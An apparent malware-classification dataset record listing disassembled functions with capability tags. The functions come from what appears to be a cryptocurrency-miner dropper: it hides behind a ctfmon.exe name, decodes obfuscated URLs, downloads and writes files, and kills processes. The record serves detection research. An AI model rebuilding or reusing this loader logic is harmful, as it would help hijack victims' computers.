joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ff0
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42536b
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x434108
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, str.DB_key
mov ecx, 0x433130
call fcn.00405410
mov edx, esi
mov ecx, eax
call fcn.00405410
mov edx, str._write_attept._Data_to_write__
mov ecx, eax
call fcn.00405410
mov edx, edi
mov ecx, eax
call fcn.00405410
mov edx, 0x42cb8c
mov ecx, eax
call fcn.00405410
push str.X:.Trash_100
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x11c]
push str.db_
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x11c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00402dc0
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 4], 0
call fcn.00402560
lea ecx, [ebp - 0x1c0]
call fcn.00404080
test eax, eax
jne 0x405127
mov eax, dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1c4]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40511f
or eax, 4
push 0
push eax
call fcn.004017d0
push 0x434108
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c8], eax
lea ecx, [ebp - 0x1c0]
call fcn.00402f90
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c8], eax
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0040c761
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
Function at 0x405b60
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x208]
push str..
push 0x100
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405cb7
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x405c8f
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
cmp byte [ebp - 0x31c], 0x2e
je 0x405c72
push dword [ebp - 0x34c]
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x42cadc
push 0x100
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040e681
add esp, 0xc
mov edx, str.Deleting_file__
mov ecx, 0x433130
call fcn.00405410
lea edx, [ebp - 0x108]
mov ecx, eax
call fcn.00405410
mov edx, 0x42cd38
mov ecx, eax
call fcn.00405410
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebx
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call esi
cmp eax, 0x12
jne 0x405be2
mov edx, str.Cleared_directory__
mov ecx, 0x433130
call fcn.00405410
mov edx, dword [ebp - 0x34c]
mov ecx, eax
call fcn.00405410
mov edx, 0x42cd38
mov ecx, eax
call fcn.00405410
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret

Function at 0x406be0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x434108
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x434108
mov byte [0x434105], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x434100]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.004051d0
add esp, 4
test al, al
je 0x406c45
lea ecx, [ebp - 0x110]
call fcn.0040b220
push 0xffffffffffffffff
push dword [0x434100]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, str.Miner_stopped_n
mov ecx, 0x433130
call fcn.00405410
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
Function at 0x408930
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.00411ca0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.00408910
int3

Function at 0x4089c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov bl, dl
mov esi, ecx
mov byte [ebp - 0x130], 0
call fcn.00411ca0
mov al, byte [0x42cf9c]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x130]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x130]
push str.ctfmon.exe
push 0x104
push eax
call fcn.0040e681
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x408a64
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.004056c0
push str.0038
push esi
call fcn.0040e880
add esp, 0x10
cmp eax, esi
jne 0x408a95
test bl, bl
jne 0x408b24
push 0x42cd74
push esi
call fcn.0040e880
add esp, 8
lea ecx, [eax + 1]
lea edx, [ebp - 0x130]
call fcn.0040ab40
test al, al
je 0x408b24
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.0040bb90
add esp, 4
test eax, eax
jne 0x408b34
push 0x40
push eax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x178], 0x44
call fcn.00411ca0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push 0
mov dword [ebp - 0x14c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x408b44
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00408930
call fcn.00408910
int3
Function at 0x4097d0
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1d74
call fcn.0041c150
mov eax, dword [0x431860]
xor eax, esp
mov dword [esp + 0x1d70], eax
movq xmm0, qword [str.67803182_70856039]
mov ax, word [0x42d180]
push ebx
push esi
push edi
push 0x2e
mov word [esp + 0x64], ax
movq qword [esp + 0x54], xmm0
movq xmm0, qword [0x42d178]
lea eax, [esp + 0x66]
push 0
push eax
movq qword [esp + 0x64], xmm0
call fcn.00411ca0
add esp, 0xc
lea eax, [esp + 0x91]
push 0x3f
push 0
push eax
mov byte [esp + 0x9c], 0
call fcn.00411ca0
add esp, 0xc
xorps xmm0, xmm0
push 0x400
push 0x434108
mov byte [esp + 0x48], 0
movq qword [esp + 0x49], xmm0
mov dword [esp + 0x51], 0
mov word [esp + 0x55], 0
mov byte [esp + 0x57], 0
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x40989c
mov eax, 0x666666
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1d70]
xor ecx, esp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret 0x10
mov edx, str.Ahr0CdOVl3mXmdm5mtK2lti5nZC3lNbHlMLUzM9IB3GUCNuV
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4098a4
sub edx, ecx
push 0x40
push 0x4341a8
mov ecx, str.Ahr0CdOVl3mXmdm5mtK2lti5nZC3lNbHlMLUzM9IB3GUCNuV
call fcn.004056c0
mov edx, str.Ahr0CdOVl2HLBgXVywXLC2HHlNj1lNn3DgvZDc5YDs8
add esp, 8
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x4098d0
sub edx, ecx
push 0x40
push 0x434160
mov ecx, str.Ahr0CdOVl2HLBgXVywXLC2HHlNj1lNn3DgvZDc5YDs8
call fcn.004056c0
mov edx, str.ndyUmtyXlJaUodC
add esp, 8
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4098f5
sub edx, ecx
push 0x40
push 0x434120
mov ecx, str.ndyUmtyXlJaUodC
jmp loc.00441000
Function at 0x40ab40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
push str.http:__
push edi
mov dword [ebp - 0x5f8], ebx
call fcn.0040e880
mov esi, eax
add esp, 8
test esi, esi
je 0x40ab79
add esi, 7
jmp 0x40ab7b
mov esi, edi
push 0x42d5c4
push esi
call fcn.0040e880
add esp, 8
test eax, eax
je 0x40acc0
push 0x42d5c4
push esi
call fcn.0040e880
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040ec36
push 0x42d5c4
push esi
call fcn.0040e880
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.0040e3a9
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.0040a2a0
add esp, 0x10
test al, al
je 0x40acc0
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.0040a1e0
add esp, 8
test al, al
je 0x40acc0
lea eax, [ebp - 0xe8]
push eax
call fcn.0040ecda
add esp, 4
mov edi, eax
push edi
push ecx
mov edx, str.Downloading_file__
mov ecx, 0x433130
call fcn.00405410
add esp, 4
mov ecx, eax
call fcn.00406c70
mov edx, str._bytes_..._n
mov ecx, eax
call fcn.00405410
push edi
call fcn.0040caa9
add esp, 4
mov esi, eax
push 1
push 0
push edi
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.0040a2a0
add esp, 0x10
test al, al
je 0x40acb7
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.004051d0
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40acd3
mov edx, str._nError_opening_file_for_writing_n
mov ecx, 0x433130
call fcn.00405410
push esi
call fcn.0040e3a4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
push ebx
push ecx
push edi
push ecx
mov edx, str.Writing_data_to_file
mov ecx, 0x433130
call fcn.00405410
add esp, 4
mov ecx, eax
call fcn.00406c70
mov edx, str._bytes__handle:
mov ecx, eax
call fcn.00405410
add esp, 4
mov ecx, eax
call fcn.0040af00
mov edx, str._to__
mov ecx, eax
call fcn.00405410
mov edx, dword [ebp - 0x5f8]
mov ecx, eax
call fcn.00405410
mov edx, 0x42cd38
mov ecx, eax
call fcn.00405410
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040e3a4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
Function at 0x40b220
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x40b2fe
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x40b2fe
jmp 0x40b290
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40b2c0
test dl, dl
je 0x40b2bc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40b2c0
add ecx, 2
add eax, 2
test dl, dl
jne 0x40b2a0
xor eax, eax
jmp 0x40b2c5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40b2ef
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x40b290
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
Function at 0x40b320
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b353
sub eax, edx
inc eax
push eax
call fcn.0040caa9
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b370
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x40b487
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x40b487
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b3c0
sub ecx, esi
je 0x40b3f3
jmp 0x40b3d0
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x40b3e0
cmp al, 0x5a
jg 0x40b3e0
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b3e6
sub eax, esi
cmp edx, eax
jb 0x40b3d0
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b400
sub ecx, esi
je 0x40b43f
jmp 0x40b410
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x40b428
cmp al, 0x5a
jg 0x40b428
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b432
sub ecx, esi
cmp edx, ecx
jb 0x40b410
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b467
test dl, dl
je 0x40b463
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b467
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b447
xor eax, eax
jmp 0x40b46c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b4aa
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x40b3b3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040e3a4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040e3a4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
Function at 0x40b4d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b503
sub eax, edx
inc eax
push eax
call fcn.0040caa9
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b520
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x40b637
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x40b637
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b570
sub ecx, esi
je 0x40b5a3
jmp 0x40b580
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x40b590
cmp al, 0x5a
jg 0x40b590
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b596
sub eax, esi
cmp edx, eax
jb 0x40b580
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b5b0
sub ecx, esi
je 0x40b5ef
jmp 0x40b5c0
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x40b5d8
cmp al, 0x5a
jg 0x40b5d8
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b5e2
sub ecx, esi
cmp edx, ecx
jb 0x40b5c0
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b617
test dl, dl
je 0x40b613
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b617
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b5f7
xor eax, eax
jmp 0x40b61c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b65b
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x40b563
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040e3a4
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040e3a4
add esp, 4
push dword [ebp - 0x128]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
Function at 0x41d1f5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00412060
mov dword [ebp - 0x14], eax
cmp dword [0x434098], edi
jne 0x41d2e6
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x41d273
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41d3c6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41d3c6
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41d3c6
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x434098], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x43409c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x4340a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4340a8], eax
test eax, eax
je 0x41d2e3
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4340a4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41d30b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41d2fe
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x41d320
push 4
pop eax
jmp 0x41d3c8
cmp dword [ebp - 0x14], edi
je 0x41d320
push dword [0x434098]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41d305
mov eax, dword [0x4340a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41d37e
cmp dword [0x4340a8], esi
je 0x41d37e
push eax
call ebx
push dword [0x4340a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41d37e
test eax, eax
je 0x41d37e
call ecx
test eax, eax
je 0x41d373
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41d373
test byte [ebp - 8], 1
jne 0x41d37e
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41d3ae
mov eax, dword [0x43409c]
cmp eax, esi
je 0x41d3ab
push eax
call ebx
test eax, eax
je 0x41d3ab
call eax
mov edi, eax
test edi, edi
je 0x41d3ab
mov eax, dword [0x4340a0]
cmp eax, esi
je 0x41d3ab
push eax
call ebx
test eax, eax
je 0x41d3ab
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x434098]
call ebx
test eax, eax
je 0x41d3c6
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41d3c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d0ff
leave
ret
Function at 0x420cac
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041700a
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x420ce4
xor eax, eax
jmp 0x420d10
cmp esi, dword [ebp - 4]
je 0x420d0d
cmp dword [ebp + 0xc], 0
je 0x420d0d
push dword [edi + 0x9c]
call fcn.004208ba
push dword [edi + 0x9c]
mov esi, eax
call fcn.00412316
pop ecx
pop ecx
cmp esi, eax
je 0x420ce0
xor eax, eax
inc eax
pop edi
pop esi
leave
ret